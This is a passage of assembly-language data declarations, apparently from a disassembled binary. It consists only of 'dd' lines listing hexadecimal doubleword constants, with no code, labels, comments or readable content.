		dd 0F1D49A15h, 8FE49AC3h, 88DB5E4h, 784884FAh, 626F5546h
		dd 0C021D1Fh, 4F6E41CAh, 0C0AB0B97h, 0F962471Bh, 7899109Fh
		dd 0EB25A087h, 1AE536C5h, 327F71D9h, 0F5AD72A1h, 2D54A367h
		dd 4A9EF75h, 8D0840D3h,	0F1D8603Bh, 2E3E57B9h, 0C411B2D9h
		dd 7C04DB84h, 91B8FCDCh, 1D46CD01h, 0CE5B8586h,	73274002h
		dd 0EA49F260h, 0BFA00F6Ch, 25FE1DE6h, 0F21F7C2Eh, 332C1C12h
		dd 6D83979Bh, 0C1F137FDh, 54F21122h, 0D321A3B9h, 2A5B599Bh
		dd 16306F6Ah, 305527D0h, 230743E8h, 7384864h, 748AFDD0h
		dd 0F83A66CCh, 6280903Dh, 4DD46AE6h, 64ACC832h,	0C145755Dh
		dd 0A0FCD710h, 0B23ED729h, 0C0ACF6C9h, 0CFD47D09h, 20F64729h
		dd 0CEC2A55Dh, 0A3681FDCh, 8902126h, 34CEB6FAh,	0F8BC9141h
		dd 0D748FCB5h, 2F30AC1Dh, 531CE3B7h, 0D18B7425h, 2EC3663Eh
		dd 2E34CC64h, 0CFEF1E0Dh, 0C1546880h, 1DB49961h, 335F4B62h
		dd 61DF1863h, 0BA360753h, 0B0D2E4BDh, 68EC83CCh, 0D2D203D8h
		dd 4FF090D2h, 2D9889E3h, 1721C2E3h, 0C9054FE3h,	0E2255D14h
		dd 0D433BBD3h, 0D29B7DE5h, 0BFB4637Fh, 0D6CCE6FBh, 0AF9B07A4h
		dd 68F2761Ch, 0AB4C5BE1h, 7485FBADh, 0C39543FBh, 3FDBE9Dh
		dd 22908854h, 0F58EF34Ch, 0D29A9D05h, 779DC42Ch, 0FFA68B36h
		dd 0CB2A6524h, 0FD273F1Dh, 0FA06A17Fh, 1F11FCFFh, 2AC87908h
		dd 7E3D6F1Ch, 0D97C73A0h, 5B625CD1h, 0DDD07F7Ch, 4F3897CFh
		dd 0A99DAB21h, 0D310A12Fh, 6155F2E8h, 4713AA36h, 0F40C36AEh
		dd 76CC02A5h, 244D049Eh, 0F5E47541h, 4AFFF467h,	0EDF4B404h
		dd 0D52E1D6Bh, 0B4FDFBA9h, 0C0DE2A07h, 75CEEFCAh, 0E9ADB7E7h
		dd 930E42Ah, 409E45F7h,	5B347CE0h, 0CD1F37C4h, 8EF3E633h
		dd 4231903Ch, 8DA0BE97h, 0A6A26142h, 4E228B14h,	18DBEA7Eh
		dd 65F5A5B8h, 11528077h, 63D4EF5h, 0CD85500h, 0AEFA570h
		dd 2550FD84h, 1F3B0C9h,	3F34D9FBh, 83E7FCFh, 12D766Ah
		dd 0E11D5F84h, 0F68186ABh, 0A7D0514Bh, 74DA5C6Bh, 573709BEh
		dd 0CE3B4C96h, 1F52D062h, 573911CBh, 50E4AD54h,	0F5907DD6h
		dd 247F1AFEh, 0F6229EA8h, 0D0AD24B1h, 2A82623Bh, 94996A0Ah
		dd 7B042BC2h, 9D3F0101h, 0B1A1B0E7h, 0C7BE493Ch, 8D55EA62h
		dd 9F24CD9Eh, 0F683B3ACh, 0A9060A4Ch, 8A848038h, 1D3CE64Fh
		dd 562F66E6h, 0BA8C6ABAh, 0DEB11A7Eh, 4FD92C47h, 0DCF16A8Dh
		dd 4FC8061Bh, 6F5EF51Fh, 6867A5B2h, 0C08966C0h,	0C4EF6F08h
		dd 691915h, 0AE2F93Ch, 4CD757Eh, 0CB0BCD50h, 4E888FFFh
		dd 98D950F2h, 1C9871F9h, 5557543h, 0C60138AAh, 63C42FD4h
		dd 0FC02268Eh, 0C8AC5738h, 34E7E3FFh, 0FA4CC435h, 210B427Fh
		dd 7D9F7342h, 0F9205BC9h, 8F161D18h, 91F20685h,	245516A4h
		dd 0FC04466Ah, 6A98F161h, 0C3F6A99Ah, 4086745Bh, 166133EDh
		dd 19F191C3h, 0F8CE7C2Fh, 1FF0F834h, 2CCD9103h,	4AE4AAA7h
		dd 4747CACCh, 0BEC5708h, 0C5EBBE52h, 0D720FF1Fh, 468AB73Fh
		dd 43B847EDh, 97700A2Eh, 0B0609F01h, 3E38E5F0h,	0C75C7CD1h
		dd 0B5C6936Eh, 0B70F79BBh, 0A6FB7DBDh, 0EAB4A5ADh, 750C0A4Ch
		dd 0E804F575h, 8E09F570h, 4DC0F8E5h, 37F4A488h,	86B8E1AEh
		dd 0D1A730C5h, 2DFA010Ch, 8906CAAEh, 0F7E42118h, 0EFF859A4h
		dd 0CEFE4BF0h, 0D269CF67h, 3E78E9D0h, 0D53C5984h, 0CD0DB327h
		dd 7501CEC4h, 9D157D2Dh, 0EBB69550h, 0CA5AA643h, 7456603Eh
		dd 0CB2CB3E8h, 7A0A79CEh, 753D9D3Fh, 4FD2B2EEh,	2E3E40A9h
		dd 0FB3A9CEDh, 0D5681A6Ch, 612EFC32h, 0DAFAD28Eh, 0A7EF0920h
		dd 0C3FE0D32h, 0F4E6F27h, 0C1F53C30h, 944D8A40h, 768DD8AAh
		dd 0BC35ABEEh, 0CA8A5A28h, 34989773h, 0EDFB7467h, 159D3CFCh
		dd 340E1D3Ch, 80ED1FF7h, 6C03C9CDh, 1BA41E21h, 46BAAE75h
		dd 0FDB78B3Ah, 0FC31502Eh, 0EDB5DF35h, 640DB976h, 8CFC423Dh
		dd 23F05E5Eh, 0CD6CB63Fh, 0EB353A01h, 0D3021574h, 18C19039h
		dd 15952CA8h, 97DF0E4h,	11676967h, 0C5E70B37h, 353292F6h
		dd 0C7E19B78h
		dd 23C678D8h, 0CEA1313Bh, 0F7F4642Ch, 1323E2B5h, 9CE849FFh
		dd 2757DB73h, 1F02F843h, 4529F553h, 0D521E356h,	0B8F9AE39h
		dd 22E5B208h, 0A0CE50Ch, 0FAD8EC3Bh, 0E917B2E0h, 0ECCE9DAFh
		dd 63BF2EDEh, 4A966530h, 20219881h, 0A05D6D04h,	0DE4D2DE4h
		dd 4F72CB7Eh, 9C005DC7h, 2DC42C49h, 11485572h, 0D0EBAA76h
		dd 758FA09Dh, 0F8155129h, 0F5147CBFh, 0BC32ACE1h, 0E53997C4h
		dd 0D4C43C3Fh, 9F2E626h, 0FB8FCD8h, 0F81B14D3h,	0A5369397h
		dd 824F4876h, 8E04FC96h, 1F9BFC00h, 0BE8EE7D0h,	0FDFDE20Bh
		dd 65F97B18h, 0F59746C3h, 0A659B73Dh, 51CE726Bh, 0A68B27CCh
		dd 0C064B5E3h, 16E8AA24h, 6099BE14h, 0D4D25DCBh, 0F4F61E6Dh
		dd 2715DE28h, 11067AFFh, 0D1A89DC8h, 21AA71CBh,	292E8149h
		dd 5306430h, 0C8A758AFh, 9C84056Fh, 54D89DEFh, 893E3FD3h
		dd 5417FD49h, 18CC6B2Fh, 0B4157727h, 0D5EC7BFEh, 54A8E63Fh
		dd 0DEA776F5h, 880DF486h, 0FD1986CBh, 363F702Ah, 263937DEh
		dd 4E350BC7h, 322416C5h, 359CAFE4h, 183411BEh, 0D32D344Ch
		dd 0F8DAE0E1h, 0E1817828h, 0C1508D76h, 75836839h, 379D5155h
		dd 4A9D3E3Eh, 178514BCh, 2CB0C7D0h, 0EC8EA435h,	0BD9E957Eh
		dd 5955DEh, 2A0D742Fh, 0B0A0FC4Dh, 3A96FB3Eh, 4B349DCBh
		dd 4A5DD2CFh, 0A9632A4Bh, 2720E147h, 55890AEAh,	62C7C84Fh
		dd 306E3694h, 5C2DC92h,	7AB440DBh, 324C6531h, 38DDB1F5h
		dd 0AECAAD0h, 5F7E49A5h, 0C8B67516h, 0D0E59F29h, 99051BD6h
		dd 0E8281DD7h, 8DFECD2Dh, 531FBD3Ah, 0CCE60B4Eh, 8C93B4C4h
		dd 0CAF6B208h, 0E6F2CFF7h, 0C8A8538h, 0E319167Bh, 0C5EA5109h
		dd 0CCE2FD90h, 0B285277Eh, 9095347Ah, 0A4828AFFh, 0C7661C5Ch
		dd 0F064B15Bh, 0E70B3321h, 262179FFh, 2BFC913Bh, 826985F3h
		dd 334C7FBFh, 0B3A58581h, 2D3D90CCh, 0B9D0AE5Fh, 862146E0h
		dd 932D4F4h, 4E6A1F35h,	0E21024A4h, 3F30C0C3h, 0A07CB8h
		dd 0B4F4A7A4h, 0A8E2B1F4h, 788CADFFh, 14C5E530h, 3EC06D78h
		dd 10CC7468h, 15F49968h, 6B3C451Ch, 6F355D2Ah, 0CCD881F0h
		dd 40970BC8h, 312F79C7h, 39A800A8h, 4315C764h, 0C31711FFh
		dd 0CC40FC7Ch, 0CC74FC78h, 0CC6CFC74h, 0CC64FC70h, 0CC9CFC4Ch
		dd 0CC88FC48h, 0CC84FC44h, 0CCBCFC40h, 1A90FE5Ch, 1ADC6158h
		dd 1AC86154h, 1AC06150h, 1AFC60ACh, 1AEC60A8h, 1AE460A4h
		dd 151060A0h, 150C60BCh, 153860B8h, 153460B4h, 152060B0h
		dd 2558668Ch, 0E73721F7h, 0EF3C1DDFh, 90ED18A8h, 0E4DC0245h
		dd 10844EE4h, 20B01DCAh, 0C86F5443h, 3434881Ch,	0BE723E85h
		dd 5B5FEA64h, 5E63B6FEh, 0C4F155C9h, 0BC214105h, 4A4E77D0h
		dd 1972B219h, 5580927h,	0A75D0CE8h, 0C8BABC19h,	0DF5B722Dh
		dd 46F4F291h, 0A91BB23Bh, 16D95437h, 326919CCh,	24C5C06Ah
		dd 0BC9C609Ah, 68CBF8D9h, 434224Eh, 2D108581h, 37A82528h
		dd 0B91D012Ah, 95D1A089h, 0A4326DB9h, 2FA8B7C0h, 0AB2F2684h
		dd 1A3921CCh, 2F330039h, 5E356384h, 1ADCADCDh, 0CB339106h
		dd 0AA07CD29h, 63F61EE1h, 0A9C59037h, 343553FDh, 30486449h
		dd 3AFBFD5h, 0B1DC7AD8h, 0C5D06FAFh, 69A0E154h,	6ADE1D3Eh
		dd 36912F5h, 4CCD336Ch,	0C0C46C47h, 8CC2E7FCh, 4253951Ah
		dd 0F12AE9E8h, 0F8090BCFh, 1CA26E45h, 0F42974C4h, 0DD295584h
		dd 8ADF67E3h, 0D007039Fh, 6AF5A0E0h, 0C742DCCCh, 2F63862Ch
		dd 0E2296251h, 0F64EE86Eh, 21A98DE7h, 630B0C4h,	0F971592Bh
		dd 0C3F123F0h, 0FAE690Dh, 66DE6D90h, 34B1EA60h,	99D16233h
		dd 1D0349BCh, 0BEEB2750h, 4534F992h, 0C9EC4540h, 0A2840E7h
		dd 7D626A30h, 0C12B7BFAh, 8698B861h, 11647D3Bh,	0FA5D8190h
		dd 2A338DE5h, 9F4AA2ACh, 9D6C2DE9h, 0FE6718BDh,	76256997h
		dd 0BEA07E82h, 42F05BCFh, 56A704FAh, 0E7DB6EC9h, 4AD7A567h
		dd 0C44CC4F4h, 4F478419h, 0BA27A149h, 0E3662CB4h, 0A32A7500h
		dd 0FD2DF990h, 10751231h, 24785AD4h, 0A1A6DA13h, 27B8D49h
		dd 0BA210112h, 0E8551682h, 1ECC509Fh, 8B4EE5FCh, 0CBBCA9E3h
		dd 250FAC1Dh, 57C698B4h, 0EC6EE3DDh, 7E6E8FAh, 39C20B15h
		dd 6A495A9h, 68535C4h, 0BC652646h, 44D3DA1Ch, 0DF7F51EDh
		dd 0D316D1h, 1727C4E4h,	0C3F41DE0h, 0C9B3B36Fh,	0D70274FCh
		dd 0C0561DE7h, 0F8EF4F0Dh, 5C5F4451h, 0C190C706h, 7D967A92h
		dd 1D589A6Fh, 0D3E85F7Ch, 1832D8FFh, 5E4B482Ch,	0FC216D74h
		dd 7A101115h, 0B5CFBD10h, 1F09BDF7h, 3A34E09Ch,	0A42B4C5Fh
		dd 0E0CD16D8h, 17DA5D4Ch, 3C82C12Fh, 0C29AB10Ch, 126CFE2Ch
		dd 0A94C070Ch, 0ECA6F9F9h, 0FC8DA9DCh, 321C0766h, 348AF191h
		dd 7B35C118h, 67FD1B74h, 743054A3h, 5C089904h, 3F30B33Bh
		dd 0FBA1F526h, 86090F84h, 10F6FC38h, 9F0601F6h,	76A9718Dh
		dd 3B5EDDFBh, 9F217A15h, 0BEAE37B0h, 9F33FB00h,	879E7DD9h
		dd 0DABAA05Fh, 48C374CEh, 2364775h, 861A758Eh, 0A1EF3BD2h
		dd 6828FDB1h, 85CC28D1h, 702C1BE1h, 58F9D9F6h, 7308957Bh
		dd 5323C627h, 0C2D8588Fh, 7667793Fh, 2E4C03FCh,	2EE79999h
		dd 9F2386A8h, 0D33A58F1h, 3A5A7D72h, 2537821h, 3EADA26Fh
		dd 533AB838h, 814FA336h, 3DF1D700h, 3947C5E5h, 111D64EEh
		dd 380A9038h, 0FF587CABh, 0BFC29025h, 3BF49F60h, 241B7A0h
		dd 0D43164F5h, 1A741EA4h, 80BA7E6Bh, 756FB639h,	0C3C81DE7h
		dd 0BDAAB6FDh, 282478E6h, 0D30EFB2Eh, 64C7EE4h,	6EC3A1F8h
		dd 0FE815E24h, 48BA98AFh, 51650335h, 411C033Eh,	9423462Ch
		dd 0EE2E030Ch, 0B51A7E8Bh, 5C365520h, 0C1A94AE6h, 2FAB1DE3h
		dd 0D31BC6EEh, 5B4C7BD3h, 9AEC99F9h, 8C67003Ah,	0A622344Ch
		dd 0F9657CA9h, 0AA22881Ch, 0F5F07ED8h, 0BE10D8DEh, 0E521ECCFh
		dd 0C2FEC7CBh, 0D8201ACh, 0B7180120h, 9D4C76FDh, 0C45289E7h
		dd 0CA431DFBh, 0FECD34Bh, 48E6E0D3h, 9DDD5864h,	0BAF3BD9Eh
		dd 0CA1900E7h, 0B5706138h, 62D9944h, 5A41BC75h,	0FC24A4FFh
		dd 0CA743FD9h, 612E8C88h, 0F8B8AF0Eh, 4302E450h, 3B5CCCE8h
		dd 20C682EBh, 728372EBh, 0F92C5A21h, 7175D0Ah, 0EC306A3Eh
		dd 15207528h, 0DCEA5DF3h, 9B4C76E1h, 500194EBh,	230B9601h
		dd 3DB6591h, 6695644Bh,	3C027783h, 0FB50A0B4h, 0D89BBD4Bh
		dd 1F60B249h, 0B9B61C86h, 34CC758Dh, 0A14C64FBh, 7A37D13Fh
		dd 7EE2AC99h, 0FFF273ADh, 7832EF4Ah, 7D7D5521h,	7DCD709Ah
		dd 0C2007035h, 807B061Bh, 0DDC9E9CDh, 0A4581E78h, 0E273970Dh
		dd 98CC8A67h, 2224B0F8h, 0E6451B9h, 0DF768035h,	0D5AB7212h
		dd 0D0D2D49Ah, 0E5406C3h, 0B2497377h, 372860ECh, 7D8C7D1h
		dd 4A170B87h, 3751A392h, 0C49C79BCh, 4E48ABCCh,	739AE422h
		dd 9A4CC40h, 68F3BD3Ah,	0C1425318h, 0C771499Dh,	0C3E7C151h
		dd 0BE79C6CFh, 1641ED53h, 0D22C41F9h, 9801CFFDh, 29CA992h
		dd 0C2024A7h, 9C0E9ECAh, 39A07AE1h, 442DEE44h, 0BC1701D0h
		dd 254F8204h, 22C275C8h, 0CFBDC054h, 0DE829BF8h, 0EB0F9ABh
		dd 0C64AD106h, 2309C374h, 38971BE5h, 0ABA979FCh, 53EB2444h
		dd 74EB3049h, 0A4CCBDC5h, 0FAAD5A95h, 0C4626EFEh, 4FA2F5D3h
		dd 82794DC1h, 0C9A6A966h, 5F066AB5h, 0D1168524h, 796979F2h
		dd 31257373h, 265D9DF4h, 0C9AC5FE2h, 2CA2BE74h,	7E0AB72Bh
		dd 6861AB21h, 0F512001Eh, 0C4B8C51Bh, 91760904h, 0FEC8A78h
		dd 0FC5675FCh, 6C851E79h, 7547E4CFh, 0E3F45883h, 0C265E8FDh
		dd 0EDAFB32Fh, 4F471FB8h
		dd 687A617Ah, 0E5125BF5h, 0AC448418h, 2EC4F27h,	84EDF73Ah
		dd 0D18D57A6h, 1AAAE9Fh, 0E7700E4Ch, 829FC9FEh,	0EA5BD0BCh
		dd 3623B4CCh, 0BA8C6490h, 1DB4081Fh, 3504C00Dh,	15190041h
		dd 0D41003B2h, 9EF404D7h, 739B80EBh, 0C0F2357Dh, 0C290FD7Dh
		dd 0C2DBF9B5h, 84A4A23Bh, 0BAA100EDh, 0CF1B0114h, 0F9E0943Ah
		dd 0EB350B7Bh, 0F15858FCh, 0C3C07546h, 0C2417291h, 54A52B41h
		dd 475A0950h, 3B5AA93Ch, 97993593h, 0F2FB2449h,	0F2357E93h
		dd 0CB2D0FE1h, 62550B91h, 29DCF8E5h, 715482E5h,	0BB2F2193h
		dd 0F46E00C6h, 0F15F078Ch, 0ED60A77Dh, 0ED07A4FBh, 26857593h
		dd 0F6807BEAh, 7761255Eh, 0FB62A4E5h, 0D655CBF4h, 0F1585BE4h
		dd 2427E3AEh, 3D162773h, 0FF380B93h, 45A0FB6h, 66A10376h
		dd 0D5D90024h, 0EC7E244Ch, 3E587893h, 3F5049E8h, 0F12D1762h
		dd 242129AEh, 0DE1626B9h, 0B1C8C0B9h, 5E740D2Eh, 1DF524D2h
		dd 117682EAh, 6665E539h, 0BB2F0BEDh, 1FC87DFCh,	31AB042Ah
		dd 98C40864h, 0FB0E87C8h, 8784AE33h, 0D5FA0264h, 0C5780659h
		dd 0F75A09B6h, 0F15F596Eh, 14EC37F3h, 0BB5AEC64h, 2B611378h
		dd 8CACC260h, 0F1E31249h, 155296F2h, 3A189E72h,	41DC83D0h
		dd 0C521164h, 1AA20CD1h, 351B06ADh, 0FB3C0DA4h,	1C5A0B49h
		dd 0C73F240Bh, 754F1275h, 0F9E11DCCh, 0E9A787E6h, 2206D93h
		dd 0BB1F0B9Bh, 0E5A408F5h, 0E02B094Ch, 0A424D92Dh, 0C9630812h
		dd 0D46193A7h, 0CF20340Eh, 0F1E011B6h, 3762AC2Dh, 7C59679Bh
		dd 9BF50627h, 8C390B8Fh, 30311E9Bh, 7F6711BCh, 1B9D0CEFh
		dd 226109FDh, 0F605AF40h, 7F0C2A93h, 14B2122Ch,	0CE267B0Eh
		dd 74562A27h, 0E521813Bh, 0E483C993h, 0ED061154h, 0F20E6B93h
		dd 0EAEC65A9h, 3339EA8Fh, 6F1C4929h, 0E82F8F62h, 0E25104F0h
		dd 0E5B348F8h, 36C4F5AEh, 0FA8BFC8Fh, 0F1AE953Bh, 0AC557A89h
		dd 0B07467D2h, 0F15A6198h, 0EF467D0Dh, 0CE646615h, 0E6EE7692h
		dd 0F5614571h, 60495EDh, 0E4240096h, 0F3725A93h, 0C98F256Eh
		dd 0F730F85Eh, 0E46F1DF7h, 0D6AD9C6Ah, 0EB0B0530h, 60D1221Ch
		dd 3C766D4Bh, 0E9F2A6E8h, 6A7F1E3Eh, 268E153Eh,	0C88FE484h
		dd 0F0B4DECFh, 324C66FBh, 2957DE99h, 33C9001h, 5BB73584h
		dd 42D2455Ah, 0F74281CCh, 624A4A78h, 0F52862CCh, 0B8B81C89h
		dd 0C9E35A28h, 79B69662h, 0E594D284h, 0E2210DFAh, 0C034B566h
		dd 2D5DFD0h, 0F3250941h, 0E32E1DFCh, 0E8F415E9h, 0B755F5FAh
		dd 0E427D7A2h, 74703A5h, 28E26223h, 0E833239Ch,	2D980B9Ah
		dd 0C435C755h, 0A31FD7CFh, 6A98372Fh, 0AFADD9EBh, 0C723510Dh
		dd 4B5A1ADFh, 4467E742h, 0F32FF60Dh, 1D75B7C2h,	0CED1E34Eh
		dd 0F5E46418h, 0DE50CBE3h, 0CEA28C0Ch, 0B12D35DAh, 0EAFDE51Ch
		dd 942BFD93h, 0C7AED782h, 0A42AA322h, 571B0603h, 0AA0C796h
		dd 0F505B53Dh, 40269BFFh, 0FC74A17Ah, 7F252035h, 0CBDF0B9Eh
		dd 0C8B05E3Ch, 0D9E0A14Ch, 7237486h, 0D135019Eh, 4AF7FBE4h
		dd 0E5B12B99h, 0CFE5D73Ch, 18B489C3h, 0E9966429h, 0FB05B522h
		dd 0F8503BE4h, 0DA64C36Fh, 0CCCD543Ah, 0E15C83CDh, 0EB425991h
		dd 0F7D50F98h, 7B1526B5h, 621DD997h, 0CD2C34AEh, 573F109Ah
		dd 1FCE32FBh, 3DBBC212h, 814C5D7Ch, 72B17476h, 8D44B0C2h
		dd 78B9BF02h, 8D276A2Ch, 40DE5A0Ah, 3DDAC5F4h, 755CA6F3h
		dd 5C621161h, 0E950FFADh, 1CC5FE37h, 0AB0E5324h, 9F105EA5h
		dd 868AAF67h, 0EA41C7D5h, 0A73C6493h, 121D1CEFh, 110FB1E9h
		dd 565BE868h, 291464C5h, 184F83A9h, 0DE0AAED0h,	9CA074F7h
		dd 35BBCF82h, 94141BF3h, 1F03DD3h, 7CA227C6h, 0E444C4F0h
		dd 750A7F93h, 0A5FB02DAh, 0F2890171h, 0CCA190A3h, 0D7122D61h
		dd 0DEA2BA40h, 32274480h, 36A87591h, 0AA83AAEAh, 6CF36382h
		dd 0D577FABAh, 0CA5E1B5Ah, 7CAC69E0h, 0BCA8FEEEh, 0E6531CA6h
		dd 5205E340h, 1ED17580h, 2B10407Eh, 0A26A3B95h,	20EC4071h
		dd 294C75C3h, 0A6FB9C18h, 4B55E83Bh, 9DBCF951h,	0A18F541Dh
		dd 990F0FD7h, 84CCC6EDh, 1E192DBh, 304EA560h, 702DB087h
		dd 0C3E381DAh, 0D3866BCEh, 0DC1F5EEDh, 0BCBCF828h, 35494672h
		dd 0DB15A96h, 4C5A62FAh, 0A4011DF5h, 0F5DD559Dh, 0E4E230E4h
		dd 15202DA4h, 0EB19A5A9h, 0CCC5E19Ah, 66B6EAFDh, 0E4119DF9h
		dd 9EE41F2Fh, 5AE0964Fh, 0A0CC7739h, 0F016A2DBh, 0A8575EB8h
		dd 0F155255Ch, 59C7266Ah, 7F99C12h, 6619F4EDh, 36291181h
		dd 86BD042Eh, 71698B69h, 9217DDECh, 552BB284h, 2BE07F64h
		dd 63101A0Bh, 43F3706Dh, 0E86E994h, 70CE4CEh, 10AC5DF6h
		dd 6890C74Ch, 0C1A4CDF7h, 652C8DD7h, 2E35127Bh,	3338BD61h
		dd 0E84BC569h, 7D486AA6h, 0D90915C3h, 1CACF161h, 0C2F8F470h
		dd 581833EDh, 0B7E1B174h, 423D550Ch, 0CFF3F8E5h, 0CB7C01B6h
		dd 2957DA45h, 0BB49DF1h, 58D56F98h, 0C52D7A25h,	9B468A69h
		dd 649B2915h, 7A105125h, 0D7A138A5h, 0A020075h,	0D5BC471Fh
		dd 3084A16Ch, 0A8E8248h, 26985E22h, 2A2A917Dh, 0DD76ED7Bh
		dd 0DCF8BD15h, 0C4F192Fh, 0C5D49FA4h, 0D4C08FB5h, 6A64D5CEh
		dd 0F8FB81FDh, 48C84156h, 0BCBB0AE5h, 8523F5FCh, 0D0559756h
		dd 4549CDDCh, 0D4272135h, 823D1AB0h, 0CE039D83h, 79488167h
		dd 0D8B93073h, 835B1DF6h, 0F5349805h, 0B1AF9660h, 48958A78h
		dd 9F28D967h, 514AF3C8h, 10E77436h, 189F64FDh, 0AF10338h
		dd 7E15B36Bh, 9E10164h,	7FEC4414h, 420D8F7Fh, 0B81F06F9h
		dd 0E2E07C19h, 0C7261EE1h, 69190D69h, 0CDEDC2E1h, 0E02EFD81h
		dd 822C0117h, 0F96D1929h, 0AE4A1A2Eh, 0D434180Ah, 0CBA870F8h
		dd 0FDC4CDE0h, 690E3CB5h, 0D68066E5h, 0EDC4B400h, 0AD7973EBh
		dd 0FB2931B4h, 8E99785Eh, 68AB5FD7h, 0F9348F45h, 0EC819064h
		dd 8CE97B74h, 0BAE77466h, 0D05E72D6h, 0E7311B27h, 0D36F043Fh
		dd 4AE61035h, 566301AFh, 4A5AC8C4h, 1DD6017Ch, 0A4243AA9h
		dd 4323E958h, 0CCB7157Bh, 40439784h, 72772E68h,	3975F95Bh
		dd 9E619EDCh, 1D9DF72Eh, 0B56867h, 0E3E9FE15h, 8B13CEh
		dd 0A682F9C1h, 3C20F8F4h, 84AF85EAh, 486DC72Ch,	4D512EF1h
		dd 3C9D5A8Eh, 0BC35AA27h, 81CC4C87h, 0CDEF8C45h, 0F8412744h
		dd 38F603A1h, 0A63C1E6Ah, 154FA3F9h, 0FE23E518h, 0D88042D4h
		dd 9A66393h, 0FF1B4394h, 783122BBh, 0CE6A6088h,	43C8F2FEh
		dd 0D5CBCDEBh, 0FC411E2Eh, 0CE48A3CFh, 1D10626Fh, 0C0C0CD37h
		dd 128F163h, 7D1AFF65h,	0E84F09CCh, 44A3E014h, 0E933F3E7h
		dd 7B2D23D4h, 0B261123Dh, 5C3240DAh, 9F3594ADh,	9DB9FFD7h
		dd 18E728C3h, 9F4A7ADBh, 18DFDDEh, 0D17DA490h, 0C4ED325Bh
		dd 10CC66D3h, 21ADC2FFh, 0F28F6BFFh, 883045FFh,	2C6ECF79h
		dd 0B88D1C21h, 0AB9720BEh, 5C588EF3h, 9829538Fh, 0CBAE1FCBh
		dd 0C1E81BD1h, 927FB13Fh, 0CFCF99DFh, 35483518h, 0D37F0D91h
		dd 755B47BEh, 0B225C78Eh, 0F2666016h, 3D079348h, 0B50E0B3Ch
		dd 2CAB5F9Dh, 6928A2B0h, 23E7C960h, 5AFC91FCh, 85265EF1h
		dd 422F1F7Ch, 8A4412FDh, 2D14F0C9h, 4029FFCh, 1F56E03Ch
		dd 92167DFEh, 0D0DAF3EAh, 0F8EDD205h, 516FBDCh,	14DC7CAAh
		dd 0B12BC192h, 86183EEEh, 6C2110h, 0FD2C36CAh, 1F297E38h
		dd 0C9AF7FEFh, 442DBFBEh, 94B1D92Ah, 4C6BF9BCh,	33DD12Eh
		dd 7AA9D21h, 0BA8FDD67h, 4EF084h, 0E5E0A8BEh, 0DA0E0F21h
		dd 42D89FC8h, 0B0264113h, 79CDF930h, 0ADE34D30h, 0DCD1001Bh
		dd 9EB0C5CEh, 57D2EEC7h
		dd 0FC710A3Eh, 7C34D93Fh, 0AB53495Fh, 6CA9633Ch, 11E4A0A1h
		dd 1F2EF35Eh, 1DCCB7A1h, 0ECE47BB4h, 8B922E1h, 27C3B910h
		dd 0BC434175h, 42921EBh, 0C5411DC5h, 0A3AD49E3h, 0D51FCDCh
		dd 134C8178h, 0B364F898h, 9ACF0F2Fh, 0D99E1A9Ch, 0FC065FA4h
		dd 706D8039h, 67F8601Fh, 0BBB175ACh, 2EF3AB84h,	1EF7B5F0h
		dd 9F9BC744h, 0B53C2837h, 4D30BAA4h, 0AFFBE8Bh,	24427D5Fh
		dd 0FCAD4466h, 82A81021h, 4FF964BAh, 24721EF8h,	0A3B66096h
		dd 0FF3DEA99h, 22347E3Fh, 0D736A055h, 0EABDCA3Ch, 329DFF1Dh
		dd 0BC2E45E1h, 0E5F37CD5h, 2D28414Ch, 51B31D26h, 0B6F4814h
		dd 0CF9C51D1h, 59AFDCADh, 224D049Eh, 4F545E81h,	0F874A85Fh
		dd 0DFCECA9Bh, 34B00399h, 0CEAE3FE4h, 1167AB2Eh, 127ED531h
		dd 0C7F7BEF6h, 0ED0DADEDh, 0B720A518h, 0AC5EA967h, 0C3302DD1h
		dd 0C75D5669h, 0FC217DFDh, 162293F8h, 63B73F96h, 6E5D6ACBh
		dd 8CE4252Fh, 0C8766910h, 49A3265Dh, 0DB188F7h,	0CCFAD748h
		dd 0F92504BBh, 81AE32EDh, 0C1954C07h, 0C30127E0h, 0FAFBF815h
		dd 642D07CAh, 0CBA965D6h, 5944C4FCh, 0BE201548h, 0BAF071B3h
		dd 0CB2DF44Dh, 0D576AA32h, 59A367A3h, 9854521Bh, 0B7F364CCh
		dd 71D2784Bh, 1426E057h, 47DA714Ah, 162F7C50h, 0A7E890D9h
		dd 24F41C5Bh, 206D0BD4h, 824AB47Eh, 93385AD9h, 4AC2AFBBh
		dd 7C9E73CDh, 9993B293h, 82DDE0D3h, 210FC00h, 45CDCFEFh
		dd 557293A2h, 0AD8E6528h, 2E5CF281h, 51A349C4h,	17ACF10Dh
		dd 0DFFA0D94h, 0B7F7AD6Bh, 46AEAA34h, 97E4A913h, 0F434CDEAh
		dd 0CE4C6C1Ah, 66F77FC1h, 0E3091DAFh, 1C5807E8h, 0F6266327h
		dd 419DF1BBh, 51F2EDAh,	0D90D7A3Ch, 7D7FF217h, 2307F718h
		dd 19150F2Ah, 0DB1047E1h, 2EE70428h, 0C32C80EBh, 0F41E47D4h
		dd 0F9E649F7h, 0FCE474D2h, 0E9BF342Eh, 7B943710h, 0C61A5D72h
		dd 3EFA3506h, 3AEC694Fh, 0F18ABFEBh, 4A7873Ah, 70498F94h
		dd 0FEF17101h, 0ADF6816Dh, 1DA9E698h, 927B8D18h, 3F06C4B2h
		dd 59576506h, 0DF41573h, 4EC1148Bh, 0BC1743D8h,	8E38BB17h
		dd 0EF588998h, 2E34B102h, 325D7E3Eh, 0CEEF7472h, 72072C28h
		dd 0CB3693EAh, 31BE1FEEh, 8862A6F0h, 1F2EC680h,	0CE9BB2BCh
		dd 0B38A6387h, 0DB8B39CBh, 0EA0CB6D3h, 0B481D6DCh, 0CA3E2D4Bh
		dd 8C1D91F8h, 0B3E58F0Eh, 2E849D1Ch, 0FA8F3A11h, 0AF4CB714h
		dd 20D96B1h, 4A68D7F8h,	0AEDAB142h, 0BA20893Eh,	0B2E47857h
		dd 0BD4D3B74h, 7336CBBDh, 4BC32193h, 0A31DEC46h, 0F59727C2h
		dd 31AF5A18h, 41D81934h, 0B2685F3Ah, 0CC8BCB39h, 2FCC5398h
		dd 0B8B3078Ch, 0B4A17F70h, 0BE0B4C10h, 1BC21F1Bh, 5B34860Ah
		dd 0D7D704E2h, 0E2CC4B1Bh, 2B4C5C7Ch, 9D20F768h, 8CA9BBF5h
		dd 4CC85F0h, 4332681Ch,	1CE6E465h, 0E8058730h, 26E669B6h
		dd 946837D1h, 0CE64B942h, 4417077Ch, 8A2BAF78h,	7C88CF80h
		dd 25BF1553h, 20F6D20h,	8418D4AEh, 0E4F4F3h, 0D59ABF35h
